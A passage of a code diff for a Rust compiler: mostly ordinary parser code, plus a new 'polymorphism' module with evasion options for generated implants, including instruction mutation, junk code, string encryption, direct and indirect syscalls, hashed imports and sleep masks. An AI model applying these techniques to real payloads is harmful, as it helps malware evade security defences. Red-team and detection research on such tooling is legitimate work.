self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let ty = self.parse_type()?; + let init = if self.matches(&Tok::Assign) { + Some(self.parse_expr()?) + } else { + None + }; + self.expect(&Tok::Semi, "`;`")?; + Ok(StaticDecl { name, ty, init }) + } + + fn parse_struct(&mut self) -> Result { + self.expect(&Tok::Struct, "`struct`")?; + let name = self.eat_ident()?; + self.expect(&Tok::LBrace, "`{`")?; + let mut fields = Vec::new(); + while !self.check(&Tok::RBrace) { + let fname = self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let fty = self.parse_type()?; + fields.push((fname, fty)); + if !self.matches(&Tok::Comma) { break; } + } + self.expect(&Tok::RBrace, "`}`")?; + Ok(StructDef { name, fields, is_union: false, attrs: Vec::new() }) + } + + fn parse_enum(&mut self) -> Result { + self.expect(&Tok::Enum, "`enum`")?; + let name = self.eat_ident()?; + self.expect(&Tok::LBrace, "`{`")?; + let mut variants: Vec<(String, i64)> = Vec::new(); + let mut next_value: i64 = 0; + while !self.check(&Tok::RBrace) { + let vname = self.eat_ident()?; + let value = if self.matches(&Tok::Assign) { + // Optional unary minus before the integer literal - + // enum Errno { OK = 0, OOM = -1 } should parse. + let negate = self.matches(&Tok::Minus); + let n = match self.peek().clone() { + Tok::Int(n) => { self.advance(); n } + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: enum variant value must be an integer literal", + t.line, t.col + )); + } + }; + if negate { -n } else { n } + } else { + next_value + }; + variants.push((vname, value)); + next_value = value.wrapping_add(1); + if !self.matches(&Tok::Comma) { break; } + } + self.expect(&Tok::RBrace, "`}`")?; + // Trailing semicolon optional - mirrors the C-style }; + // habit without forcing it. + let _ = self.matches(&Tok::Semi); + Ok(crate::ast::EnumDecl { name, variants }) + } + + /// Used by the cast disambiguator: built-in keyword types and the + /// sized-int aliases. Struct names are excluded from cast types so we + /// don't need a symbol table at parse time. + fn try_take_cast_type(&mut self) -> Option { + let saved = self.pos; + let mut ty = match self.peek().clone() { + Tok::Int_ => "int".to_string(), + Tok::Str_ => "str".to_string(), + Tok::Wstr_ => "wstr".to_string(), + Tok::Bool_ => "bool".to_string(), + Tok::Void_ => "void".to_string(), + Tok::Char_ => "u8".to_string(), + Tok::Ident(s) if is_sized_int_name(&s) || self.type_names.contains(&s) => s, + _ => return None, + }; + self.advance(); + // Accept trailing *s - (u32*)x, (Beacon**)p, etc. + while self.matches(&Tok::Star) { + ty.push('*'); + } + if matches!(self.peek(), Tok::RParen) { + Some(ty) + } else { + self.pos = saved; + None + } + } + + fn parse_field_chain(&mut self, mut base: Expr) -> Result { + loop { + if self.check(&Tok::Dot) || self.check(&Tok::Arrow) { + self.advance(); + let field = self.eat_ident()?; + base = Expr::Field { base: Box::new(base), field }; + } else if self.matches(&Tok::LBrack) { + let index = self.parse_expr()?; + self.expect(&Tok::RBrack, "`]`")?; + base = Expr::Index { base: Box::new(base), index: Box::new(index) }; + } else { + break; + } + } + Ok(base) + } + + fn parse_call_args(&mut self) -> Result, String> { + let mut args = Vec::new(); + if !self.check(&Tok::RParen) { + args.push(self.parse_expr()?); + while self.matches(&Tok::Comma) { args.push(self.parse_expr()?); } + } + self.expect(&Tok::RParen, "`)`")?; + Ok(args) + } + + fn parse_fn(&mut self) -> Result { + let is_extern = self.matches(&Tok::Extern); + self.expect(&Tok::Fn, "`fn`")?; + let name = self.eat_ident()?; + self.expect(&Tok::LParen, "`(`")?; + let mut params = Vec::new(); + if !self.check(&Tok::RParen) { + loop { + let pn = self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let pt = self.parse_type()?; + params.push(Param { name: pn, ty: pt }); + if !self.matches(&Tok::Comma) { break; } + } + } + self.expect(&Tok::RParen, "`)`")?; + self.expect(&Tok::Arrow, "`->`")?; + let ret_ty = self.parse_type()?; + let body = if is_extern { + self.expect(&Tok::Semi, "`;` (extern fn declarations have no body)")?; + Vec::new() + } else { + self.parse_block()? + }; + Ok(Function { name, params, ret_ty, body, attrs: Vec::new(), is_extern }) + } + + fn parse_block(&mut self) -> Result, String> { + self.expect(&Tok::LBrace, "`{`")?; + let mut body = Vec::new(); + while !self.check(&Tok::RBrace) { body.push(self.parse_stmt()?); } + self.expect(&Tok::RBrace, "`}`")?; + Ok(body) + } + + fn parse_stmt(&mut self) -> Result { + // Most statements end with ;; the parsing of the trailing + // semicolon is shared via parse_simple_stmt_no_semi. + match self.peek().clone() { + Tok::Var => self.parse_var(), + Tok::If => self.parse_if(), + Tok::While => self.parse_while(), + Tok::For => self.parse_for(), + Tok::Break => { + self.advance(); + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Break) + } + Tok::Continue => { + self.advance(); + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Continue) + } + Tok::Ret => self.parse_ret(), + Tok::Try => self.parse_try(), + Tok::Raise => self.parse_raise(), + Tok::Asm => self.parse_asm(), + _ => { + let s = self.parse_simple_stmt_no_semi()?; + self.expect(&Tok::Semi, "`;`")?; + Ok(s) + } + } + } + + fn parse_simple_stmt_no_semi(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + let lhs = self.parse_expr()?; + // Postfix ++ / -- - desugar to lhs = lhs +/- 1. + if self.matches(&Tok::PlusPlus) { + return Ok(Stmt::Expr { + value: Self::make_compound_assign(lhs, "+", Expr::Int(1))?, + span, + }); + } + if self.matches(&Tok::MinusMinus) { + return Ok(Stmt::Expr { + value: Self::make_compound_assign(lhs, "-", Expr::Int(1))?, + span, + }); + } + // x OP= rhs - desugar to x = x OP rhs. + let op = if self.matches(&Tok::PlusEq) { Some("+") } + else if self.matches(&Tok::MinusEq) { Some("-") } + else if self.matches(&Tok::StarEq) { Some("*") } + else if self.matches(&Tok::SlashEq) { Some("/") } + else if self.matches(&Tok::PercentEq) { Some("%") } + else if self.matches(&Tok::AmpEq) { Some("&") } + else if self.matches(&Tok::PipeEq) { Some("|") } + else if self.matches(&Tok::CaretEq) { Some("^") } + else if self.matches(&Tok::ShlEq) { Some("<<") } + else if self.matches(&Tok::ShrEq) { Some(">>") } + else { None }; + if let Some(op) = op { + let rhs = self.parse_expr()?; + return Ok(Stmt::Expr { + value: Self::make_compound_assign(lhs, op, rhs)?, + span, + }); + } + Ok(Stmt::Expr { value: lhs, span }) + } + + fn make_compound_assign(lhs: Expr, op: &str, rhs: Expr) -> Result { + match lhs { + Expr::Var(name) => { + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(Expr::Var(name.clone())), + rhs: Box::new(rhs), + }; + Ok(Expr::Assign { name, value: Box::new(new_val) }) + } + Expr::Field { base, field } => { + let read = Expr::Field { base: base.clone(), field: field.clone() }; + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(read), + rhs: Box::new(rhs), + }; + Ok(Expr::FieldAssign { base, field, value: Box::new(new_val) }) + } + Expr::Unary { op: uop, operand } if uop == "*" => { + let read = Expr::Unary { op: "*".into(), operand: operand.clone() }; + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(read), + rhs: Box::new(rhs), + }; + Ok(Expr::DerefAssign { ptr: operand, value: Box::new(new_val) }) + } + Expr::Index { base, index } => { + let read = Expr::Index { base: base.clone(), index: index.clone() }; + let new_val = Expr::Binary { + op: op.into(), + lhs: Box::new(read), + rhs: Box::new(rhs), + }; + Ok(Expr::IndexAssign { base, index, value: Box::new(new_val) }) + } + _ => Err("invalid target for `++`/`--` or compound assignment".into()), + } + } + + fn parse_var(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + let name = self.eat_ident()?; + let ty = if self.matches(&Tok::Colon) { self.parse_type()? } else { "int".into() }; + // = is optional. Scalars without an initialiser are zeroed; struct + // locals are zero-filled in their entirety (the typical Win32 + // pattern is then to set the cb field and call the API). + let value = if self.matches(&Tok::Assign) { + Some(self.parse_expr()?) + } else { + None + }; + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Var { name, ty, value, span }) + } + + fn parse_for(&mut self) -> Result { + self.expect(&Tok::For, "`for`")?; + // init clause - ; means empty. + let init = if self.matches(&Tok::Semi) { + None + } else if self.check(&Tok::Var) { + Some(Box::new(self.parse_var()?)) // parse_var consumes its own `;` + } else { + let s = self.parse_simple_stmt_no_semi()?; + self.expect(&Tok::Semi, "`;`")?; + Some(Box::new(s)) + }; + // cond clause - empty means infinite (no test). + let cond = if self.check(&Tok::Semi) { + None + } else { + Some(self.parse_expr()?) + }; + self.expect(&Tok::Semi, "`;`")?; + // step clause - empty means no per-iteration step. Stops at {. + let step = if self.check(&Tok::LBrace) { + None + } else { + Some(Box::new(self.parse_simple_stmt_no_semi()?)) + }; + let body = self.parse_block()?; + Ok(Stmt::For { init, cond, step, body }) + } + + fn parse_if(&mut self) -> Result { + self.advance(); + let cond = self.parse_expr()?; + let then_body = self.parse_block()?; + let mut else_body = Vec::new(); + if self.matches(&Tok::Else) { + if self.check(&Tok::If) { else_body.push(self.parse_if()?); } + else { else_body = self.parse_block()?; } + } + Ok(Stmt::If { cond, then_body, else_body }) + } + + fn parse_while(&mut self) -> Result { + self.advance(); + let cond = self.parse_expr()?; + let body = self.parse_block()?; + Ok(Stmt::While { cond, body }) + } + + fn parse_ret(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + let value = if self.check(&Tok::Semi) { None } else { Some(self.parse_expr()?) }; + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Ret { value, span }) + } + + /// raise expr; - throw to the innermost try handler. Lowers via + /// macros::emit_raise. The handler restores rsp/rbp/pc; if no + /// handler is installed the program exits with rax = 0xFF. + fn parse_raise(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + let value = self.parse_expr()?; + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Raise { value, span }) + } + + fn parse_try(&mut self) -> Result { + self.advance(); + let body = self.parse_block()?; + self.expect(&Tok::Catch, "`catch`")?; + let err_name = self.eat_ident()?; + let handler = self.parse_block()?; + Ok(Stmt::Try { body, err_name, handler }) + } + + fn parse_asm(&mut self) -> Result { + self.advance(); // consume `asm` keyword + self.expect(&Tok::LBrace, "`{`")?; + let mut lines: Vec = Vec::new(); + let mut cur_line: u32 = 0; + let mut cur_col: u32 = 0; + let mut buf = String::new(); + + while !self.check(&Tok::RBrace) { + // Detect end-of-statement: an explicit ; OR the next + // token sits on a different source line than the + // accumulated buffer (newline-implicit terminator). + let here = self.peek_tok(); + let here_line = here.line; + let here_col = here.col; + let new_line = !buf.is_empty() && here_line != cur_line; + if new_line { + flush_asm_buf(&mut buf, &mut lines, cur_line, cur_col)?; + } + + if self.matches(&Tok::Semi) { + flush_asm_buf(&mut buf, &mut lines, cur_line, cur_col)?; + continue; + } + + if buf.is_empty() { + cur_line = here_line; + cur_col = here_col; + } + + let t = self.advance(); + asm_append_token(&mut buf, &t); + } + flush_asm_buf(&mut buf, &mut lines, cur_line, cur_col)?; + self.expect(&Tok::RBrace, "`}`")?; + Ok(Stmt::Asm(lines)) + } + + fn parse_expr(&mut self) -> Result { self.parse_assign() } + + fn parse_assign(&mut self) -> Result { + let lhs = self.parse_or()?; + if self.matches(&Tok::Assign) { + let value = self.parse_assign()?; + return match lhs { + Expr::Var(name) => { + Ok(Expr::Assign { name, value: Box::new(value) }) + } + Expr::Field { base, field } => { + Ok(Expr::FieldAssign { base, field, value: Box::new(value) }) + } + // *ptr = value - deref-assignment. The unary * parsed + // earlier shows up here as Unary { op: "*", operand }; + // pull out the operand and build a DerefAssign. + Expr::Unary { op, operand } if op == "*" => { + Ok(Expr::DerefAssign { ptr: operand, value: Box::new(value) }) + } + // buf[i] = value - indexed-assignment. The postfix [i] + // parsed earlier shows up here as Index { base, index }. + Expr::Index { base, index } => { + Ok(Expr::IndexAssign { base, index, value: Box::new(value) }) + } + _ => Err("invalid assignment target".into()), + }; + } + Ok(lhs) + } + fn parse_or(&mut self) -> Result { + let mut lhs = self.parse_and()?; + while self.matches(&Tok::OrOr) { + let rhs = self.parse_and()?; + lhs = Expr::Binary { op: "||".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_and(&mut self) -> Result { + let mut lhs = self.parse_bor()?; + while self.matches(&Tok::AndAnd) { + let rhs = self.parse_bor()?; + lhs = Expr::Binary { op: "&&".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_bor(&mut self) -> Result { + let mut lhs = self.parse_bxor()?; + while self.matches(&Tok::Pipe) { + let rhs = self.parse_bxor()?; + lhs = Expr::Binary { op: "|".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_bxor(&mut self) -> Result { + let mut lhs = self.parse_band()?; + while self.matches(&Tok::Caret) { + let rhs = self.parse_band()?; + lhs = Expr::Binary { op: "^".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_band(&mut self) -> Result { + let mut lhs = self.parse_equality()?; + // Binary & between two expressions is bitwise AND. Unary &expr + // (address-of) is handled in parse_unary; the position disambiguates. + while self.matches(&Tok::Amp) { + let rhs = self.parse_equality()?; + lhs = Expr::Binary { op: "&".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_equality(&mut self) -> Result { + let mut lhs = self.parse_comparison()?; + loop { + let op = if self.matches(&Tok::EqEq) { "==" } + else if self.matches(&Tok::NotEq) { "!=" } + else { break }; + let rhs = self.parse_comparison()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_comparison(&mut self) -> Result { + let mut lhs = self.parse_shift()?; + loop { + let op = if self.matches(&Tok::Lt) { "<" } + else if self.matches(&Tok::Gt) { ">" } + else if self.matches(&Tok::LtEq) { "<=" } + else if self.matches(&Tok::GtEq) { ">=" } + else { break }; + let rhs = self.parse_shift()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_shift(&mut self) -> Result { + let mut lhs = self.parse_addsub()?; + loop { + let op = if self.matches(&Tok::Shl) { "<<" } + else if self.matches(&Tok::Shr) { ">>" } + else { break }; + let rhs = self.parse_addsub()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_addsub(&mut self) -> Result { + let mut lhs = self.parse_muldiv()?; + loop { + let op = if self.matches(&Tok::Plus) { "+" } + else if self.matches(&Tok::Minus) { "-" } + else { break }; + let rhs = self.parse_muldiv()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_muldiv(&mut self) -> Result { + let mut lhs = self.parse_unary()?; + loop { + let op = if self.matches(&Tok::Star) { "*" } + else if self.matches(&Tok::Slash) { "/" } + else if self.matches(&Tok::Percent) { "%" } + else { break }; + let rhs = self.parse_unary()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_unary(&mut self) -> Result { + if self.matches(&Tok::Minus) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "-".into(), operand: Box::new(inner) }); + } + if self.matches(&Tok::Bang) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "!".into(), operand: Box::new(inner) }); + } + if self.matches(&Tok::Tilde) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "~".into(), operand: Box::new(inner) }); + } + // *expr - pointer dereference. Distinguished from multiplication + // by position: at the start of a unary (no left operand pending), + // * is always prefix-deref. + if self.matches(&Tok::Star) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "*".into(), operand: Box::new(inner) }); + } + // &expr - address-of. + if self.matches(&Tok::Amp) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "&".into(), operand: Box::new(inner) }); + } + self.parse_primary() + } + fn parse_primary(&mut self) -> Result { + match self.peek().clone() { + Tok::Int(n) => { self.advance(); Ok(Expr::Int(n)) } + Tok::Str(s) => { self.advance(); Ok(Expr::Str(s)) } + Tok::True => { self.advance(); Ok(Expr::Bool(true)) } + Tok::False => { self.advance(); Ok(Expr::Bool(false)) } + Tok::Sizeof => { + self.advance(); + self.expect(&Tok::LParen, "`(` after `sizeof`")?; + let ty = self.parse_type()?; + self.expect(&Tok::RParen, "`)`")?; + Ok(Expr::SizeOf { ty }) + } + Tok::LParen => { + self.advance(); + if let Some(ty) = self.try_take_cast_type() { + self.expect(&Tok::RParen, "`)`")?; + let inner = self.parse_unary()?; + Ok(Expr::Cast { ty, expr: Box::new(inner) }) + } else { + let e = self.parse_expr()?; + self.expect(&Tok::RParen, "`)`")?; + // A parenthesised expression can still be the base of a + // field-access chain. + self.parse_field_chain(e) + } + } + Tok::Str_ => { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + if self.matches(&Tok::Dot) || self.matches(&Tok::Arrow) { + let second = self.eat_ident()?; + if self.matches(&Tok::LParen) { + let args = self.parse_call_args()?; + Ok(Expr::Call { ns: "str".into(), fname: second, args, span }) + } else { + Err(format!( + "parse error at {}:{}: `str.{}` must be a call \ + (e.g. `str.format(...)`)", + here.line, here.col, second + )) + } + } else { + Err(format!( + "parse error at {}:{}: `str` is a type keyword, \ + not a value - did you mean `str.format(...)`?", + here.line, here.col + )) + } + } + Tok::Ident(first) => { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + if self.type_names.contains(&first) && self.check(&Tok::LBrace) { + self.advance(); // consume `{` + let mut fields: Vec<(String, Expr)> = Vec::new(); + while !self.check(&Tok::RBrace) { + let fname = self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let fval = self.parse_expr()?; + fields.push((fname, fval)); + if !self.matches(&Tok::Comma) { break; } + } + self.expect(&Tok::RBrace, "`}`")?; + return Ok(Expr::StructLit { ty: first, fields, span }); + } + if self.matches(&Tok::Dot) || self.matches(&Tok::Arrow) { + let second = self.eat_ident()?; + if self.matches(&Tok::LParen) { + let args = self.parse_call_args()?; + Ok(Expr::Call { ns: first, fname: second, args, span }) + } else { + let base = Expr::Var(first); + let init = Expr::Field { base: Box::new(base), field: second }; + self.parse_field_chain(init) + } + } else if self.matches(&Tok::LParen) { + // Local-function call: foo + let args = self.parse_call_args()?; + Ok(Expr::Call { ns: String::new(), fname: first, args, span }) + } else { + // Bare var; may have postfix field access. + self.parse_field_chain(Expr::Var(first)) + } + } + other => { + let t = self.peek_tok(); + Err(format!("parse error at {}:{}: unexpected {:?}", t.line, t.col, other)) + } + } + } +} + + +fn flush_asm_buf( + buf: &mut String, + lines: &mut Vec, + line: u32, + col: u32, +) -> Result<(), String> { + let s = buf.trim(); + if !s.is_empty() { + let body: AsmBody = parse_asm_line(s)?; + lines.push(AsmLine { line, col, body }); + } + buf.clear(); + Ok(()) +} + +fn asm_append_token(buf: &mut String, t: &Tok) { + let binds_left = matches!(t, + Tok::RBrack | Tok::Colon | Tok::Comma + ); + let prev_binds_right = buf.ends_with('%') || buf.ends_with('['); + + if !buf.is_empty() && !binds_left && !prev_binds_right { + buf.push(' '); + } + match t { + Tok::Ident(s) => buf.push_str(s), + Tok::Int(n) => { + // Preserve hex form for big values so the asm-line + // parser sees 0x12345 rather than a decimal blob. + if (0..=0xFF).contains(n) { + buf.push_str(&format!("0x{:x}", n)); + } else { + buf.push_str(&n.to_string()); + } + } + Tok::Comma => buf.push(','), + Tok::Plus => buf.push('+'), + Tok::Minus => buf.push('-'), + Tok::Star => buf.push('*'), + Tok::Percent => buf.push('%'), + Tok::LBrack => buf.push('['), + Tok::RBrack => buf.push(']'), + Tok::Colon => buf.push(':'), + Tok::Dot => buf.push('.'), + Tok::Ret => buf.push_str("ret"), + Tok::Asm => buf.push_str("asm"), // asm-as-ident rare; safe to pass through + Tok::Int_ => buf.push_str("int"), + // Anything else is a host-grammar token that has no + // meaning inside asm - surface it so a typo doesn't get + // silently dropped. + other => buf.push_str(&format!("", other)), + } +} diff --git a/src/polymorphism.rs b/src/polymorphism.rs new file mode 100644 index 0000000..64763a1 --- /dev/null +++ b/src/polymorphism.rs @@ -0,0 +1,952 @@ + +use crate::encoder::{Encoder, Reg64, Cond}; + +// Configuration + +/// Active OPSEC techniques. Default = none. +#[derive(Debug, Clone, Default)] +pub struct OpsecConfig { + pub poly: bool, + pub poly_deep: bool, + pub junk_level: u8, + pub reorder_functions: bool, + /// XOR-encrypt rdata/data + decryptor at entry. Standard mode only; + /// BOF rdata is RO. + pub strings_xor: bool, + pub nop_sled: bool, + /// Auto-include stdlib/opsec/direct_syscall.etpy's + /// [Override] syscall stub. + pub direct_syscalls: bool, + /// Auto-include stdlib/opsec/indirect_syscall.etpy. Mutually + /// exclusive with direct_syscalls (same slot). + pub indirect_syscalls: bool, + pub hashed_imports: bool, + /// Auto-included sleep-mask template ([Hook]). + /// Variants differ in wait primitive and cipher. + pub sleep_mask: SleepMaskVariant, + /// Rebuild short string literals on the stack via mov [rsp+N], + /// imm64 runs instead of .rdata pointers. Composes with + /// strings_xor (stack-built strings excluded from the XOR pool). + pub stack_strings: bool, + /// None = system-time nanos at build time; Some = deterministic. + pub seed: Option, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum SleepMaskVariant { + #[default] + None, + Simple, + Ekko, + Foliage, +} + +impl SleepMaskVariant { + /// Stdlib sub-path the driver auto-uses. None means + /// "splice nothing - the operator wrote their own". + pub fn stdlib_subpath(self) -> Option<&'static str> { + match self { + Self::None => None, + Self::Simple => Some("opsec/sleep_simple.etpy"), + Self::Ekko => Some("opsec/sleep_ekko.etpy"), + Self::Foliage => Some("opsec/sleep_foliage.etpy"), + } + } + pub fn name(self) -> &'static str { + match self { + Self::None => "none", + Self::Simple => "simple", + Self::Ekko => "ekko", + Self::Foliage => "foliage", + } + } +} + +impl OpsecConfig { + pub fn parse(s: &str) -> Result { + let mut cfg = Self::default(); + let trimmed = s.trim(); + if trimmed.is_empty() { return Ok(cfg); } + for token in trimmed.split(',') { + let raw = token.trim(); + match raw { + "none" | "" => {} + "all" => { + cfg.poly = true; + cfg.poly_deep = true; + cfg.strings_xor = true; + cfg.nop_sled = true; + cfg.direct_syscalls = true; + cfg.hashed_imports = true; + cfg.stack_strings = true; + } + "poly" => cfg.poly = true, + "poly=deep" + | "polydeep" + | "poly_deep" => { cfg.poly = true; cfg.poly_deep = true; } + "reorder" + | "reorder_fns" + | "reorder_functions" => cfg.reorder_functions = true, + _ if raw.starts_with("junk=") => { + let v = raw.split_once('=').map(|(_, v)| v).unwrap_or(""); + let n: u8 = v.trim().parse().map_err(|_| format!( + "junk={}: expected an integer level in 1..=5", v + ))?; + if !(1..=5).contains(&n) { + return Err(format!( + "junk={}: level must be in 1..=5 (0 = off)", n + )); + } + // Junk insertion needs poly_deep's instruction- + // boundary detection. Auto-enable both so a + // bare junk=N flag does what the operator means. + cfg.poly = true; + cfg.poly_deep = true; + cfg.junk_level = n; + } + "strings_xor" + | "strings" => cfg.strings_xor = true, + "stack_strings" + | "stackstr" => cfg.stack_strings = true, + "nop_sled" + | "nops" => cfg.nop_sled = true, + "direct_syscalls" + | "syscall" + | "syscalls" => cfg.direct_syscalls = true, + "indirect_syscalls" + | "indirect" + | "isyscalls" => cfg.indirect_syscalls = true, + "hashed_imports" + | "hashed" + | "import_hash" + | "ihash" => cfg.hashed_imports = true, + _ if raw.starts_with("sleep_mask=") || raw.starts_with("sleepmask=") => { + let v = raw.split_once('=').map(|(_, v)| v).unwrap_or(""); + cfg.sleep_mask = match v.trim() { + "none" | "" => SleepMaskVariant::None, + "simple" | "xor" => SleepMaskVariant::Simple, + "ekko" => SleepMaskVariant::Ekko, + "foliage" => SleepMaskVariant::Foliage, + other => return Err(format!( + "unknown sleep_mask variant `{other}` - valid: \ + simple, ekko, foliage, none" + )), + }; + } + other => return Err(format!( + "unknown opsec mode `{other}` - valid: poly, strings_xor, \ + stack_strings, nop_sled, direct_syscalls, \ + indirect_syscalls, hashed_imports, \ + sleep_mask=, all, none" + )), + } + } + // Indirect wins over direct when both are asked (e.g. via + // --opsec=all,indirect_syscalls). Both occupy the + // [Override] slot, so we have to pick one. + if cfg.indirect_syscalls { + cfg.direct_syscalls = false; + } + Ok(cfg) + } + + /// Resolve --seed=... into a concrete u64. + /// "random" to system-time nanos; hex / decimal to that value. + pub fn parse_seed(s: &str) -> Result { + let s = s.trim(); + if s.is_empty() || s == "random" { + use std::time::{SystemTime, UNIX_EPOCH}; + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos() as u64) + .unwrap_or(0xDEADBEEF_DEADBEEF); + return Ok(nanos); + } + if let Some(h) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) { + return u64::from_str_radix(h, 16) + .map_err(|e| format!("--seed `{s}`: {e}")); + } + s.parse::().map_err(|e| format!("--seed `{s}`: {e}")) + } + + /// True iff any technique is enabled - codegen / driver use + /// this to short-circuit when OPSEC is fully off. + pub fn any(&self) -> bool { + self.poly || self.strings_xor || self.nop_sled + || self.direct_syscalls || self.indirect_syscalls + || self.hashed_imports || self.stack_strings + || self.sleep_mask != SleepMaskVariant::None + || self.reorder_functions + || self.junk_level > 0 + } +} + + +pub struct Rng { state: u64 } + +impl Rng { + pub fn new(seed: u64) -> Self { + // xorshift requires non-zero state. + Self { state: if seed == 0 { 0xDEAD_BEEF_CAFE_F00D } else { seed } } + } + pub fn next_u64(&mut self) -> u64 { + let mut x = self.state; + x ^= x << 13; + x ^= x >> 7; + x ^= x << 17; + self.state = x; + x + } + pub fn next_u8(&mut self) -> u8 { self.next_u64() as u8 } + /// Uniform integer in 0..n. n == 0 returns 0. + pub fn range(&mut self, n: u64) -> u64 { + if n == 0 { 0 } else { self.next_u64() % n } + } + /// One-in-n probability, returns true with rate 1/n. + pub fn one_in(&mut self, n: u64) -> bool { + self.range(n) == 0 + } +} + + +const NOP_VARIANTS: &[&[u8]] = &[ + &[0x90], // 1 + &[0x66, 0x90], // 2 + &[0x0F, 0x1F, 0x00], // 3 + &[0x0F, 0x1F, 0x40, 0x00], // 4 + &[0x0F, 0x1F, 0x44, 0x00, 0x00], // 5 + &[0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00], // 6 + &[0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00], // 7 + &[0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00], // 8 + &[0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00], // 9 +]; + +/// Emit a single multi-byte NOP of exactly n bytes (1..=9). Used +/// by codegen-level NOP-sled insertion. Larger sleds chain these. +pub fn emit_nop_block(enc: &mut Encoder, n: usize) { + let n = n.clamp(1, NOP_VARIANTS.len()); + for &b in NOP_VARIANTS[n - 1] { + enc.emit_raw(b); + } +} + +/// Emit total bytes worth of NOPs by chaining 1-9 byte variants. +/// The block sizes themselves are randomised via rng so two +/// builds with the same total produce different byte sequences. +pub fn emit_nop_sled(enc: &mut Encoder, rng: &mut Rng, total: usize) { + let mut remaining = total; + while remaining > 0 { + let max = remaining.min(NOP_VARIANTS.len()); + let block = 1 + (rng.range(max as u64) as usize); + emit_nop_block(enc, block); + remaining -= block; + } +} + +// Post-codegen pass entry point. + +pub fn transform(enc: &mut Encoder, cfg: &OpsecConfig, rng: &mut Rng) { + if !cfg.any() { return; } + if cfg.poly { + let reloc_ranges = enc.code_reloc_ranges(); + substitute_equivalents(enc, rng, &reloc_ranges); + redecompose_nop_runs(enc, rng, &reloc_ranges); + } + if cfg.poly_deep { + expand_equivalents(enc, rng, cfg.junk_level); + } + if cfg.strings_xor { + encrypt_rdata_data(enc, rng); + } +} + + +/// True if i..i+len overlaps any reloc patch site. +fn overlaps_reloc(i: usize, len: usize, reloc_ranges: &[std::ops::Range]) -> bool { + let end = i + len; + reloc_ranges.iter().any(|r| i < r.end && r.start < end) +} + +/// Top-level: walk the code buffer, attempt each known +/// transformation family at every position. First match wins +/// (transforms don't compose at a single site). +fn substitute_equivalents( + enc: &mut Encoder, + rng: &mut Rng, + reloc_ranges: &[std::ops::Range], +) { + let mut i = 0; + while i < enc.code.len() { + let consumed = + try_xor_sub_swap(&mut enc.code, rng, i, reloc_ranges) + .or_else(|| try_mov_reg_reg_swap(&mut enc.code, rng, i, reloc_ranges)) + .or_else(|| try_test_or_and_swap(&mut enc.code, rng, i, reloc_ranges)) + .unwrap_or(1); + i += consumed; + } +} + + +fn is_rex_w(b: u8) -> bool { + (b & 0xF0) == 0x40 && (b & 0x08) != 0 +} + +fn try_xor_sub_swap( + code: &mut [u8], + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], +) -> Option { + // 2-byte form: 31 /r, modrm.mod=11, reg == rm. + if i + 2 <= code.len() + && code[i] == 0x31 + && (code[i + 1] & 0xC0) == 0xC0 + && ((code[i + 1] >> 3) & 7) == (code[i + 1] & 7) + && !overlaps_reloc(i, 2, reloc_ranges) + { + if rng.one_in(2) { + code[i] = 0x29; + } + return Some(2); + } + // Also accept the already-substituted form so the pass is + // idempotent across multiple builds with the same seed. + if i + 2 <= code.len() + && code[i] == 0x29 + && (code[i + 1] & 0xC0) == 0xC0 + && ((code[i + 1] >> 3) & 7) == (code[i + 1] & 7) + && !overlaps_reloc(i, 2, reloc_ranges) + { + if rng.one_in(2) { + code[i] = 0x31; + } + return Some(2); + } + + // 3-byte REX 